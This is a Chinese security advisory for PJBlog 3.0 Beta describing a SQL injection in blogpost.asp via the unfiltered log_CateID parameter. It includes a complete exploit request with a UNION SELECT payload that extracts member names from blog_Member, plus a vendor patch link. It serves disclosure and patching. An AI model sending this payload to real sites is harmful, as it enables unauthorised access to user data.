添加时间:
2009-02-04

系统编号:
WAVDB-01335

影响版本:
3.0 Beta

程序介绍:

PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，PJBlog同时支持简繁中文，UTF-8编码，相对于其他系统，PJBlog具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。

漏洞分析:

在文件blogpost.asp中：
<div id="MsgHead">在【<%=Conn.ExeCute("SELECT cate_Name FROM blog_Category WHERE cate_ID="&Request.Form("log_CateID")&"")(0)%>】发表日志</div> //第162行
程序没有对变量log_CateID过滤放入sql语句导致sql注入的产生。

漏洞利用:

POST /blogpost.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: http://127.0.0.1:103/blogpost.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1:103
Content-Length: 111
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: .max=696A30AED2F66C44957D1DD822A8ED4B36EF0AE4A8F911ADDCAF0B008355C7D5D7597B31768A9DF245E14A8531ED9F70B052A8F4D8DB8091876E0348B8F7E6436A87400F5AD6E4620F62801E282766B481656BF8E87E5B53BC5B30DF2DDE6D48E49E4D84AAAE2A71696FA8E05EF08DB75208EE8776842AA29790426C0B1064D6; PJBlog3=memRight=111111111111&memName=admin&memHashKey=82c982f962699d83222439e1b0e4beba44c4336a; PJBlog3Setting=ViewType=normal; ASPSESSIONIDCCABSDDS=PBCLEGGCOMNKLPPKNBOLINGL; ASPSESSIONIDACBDSCCS=JKANBMHCGKFKGJFKNANKEJIG

log_CateID=3%20union%20select%20mem_Name%20from%20blog_Member&log_editType=1&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

解决方案:
厂商补丁：
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://bbs.pjhome.net/thread-48122-1-1.html


信息来源:
<*来源: Bug.Center.Team
http://www.cnbct.org *>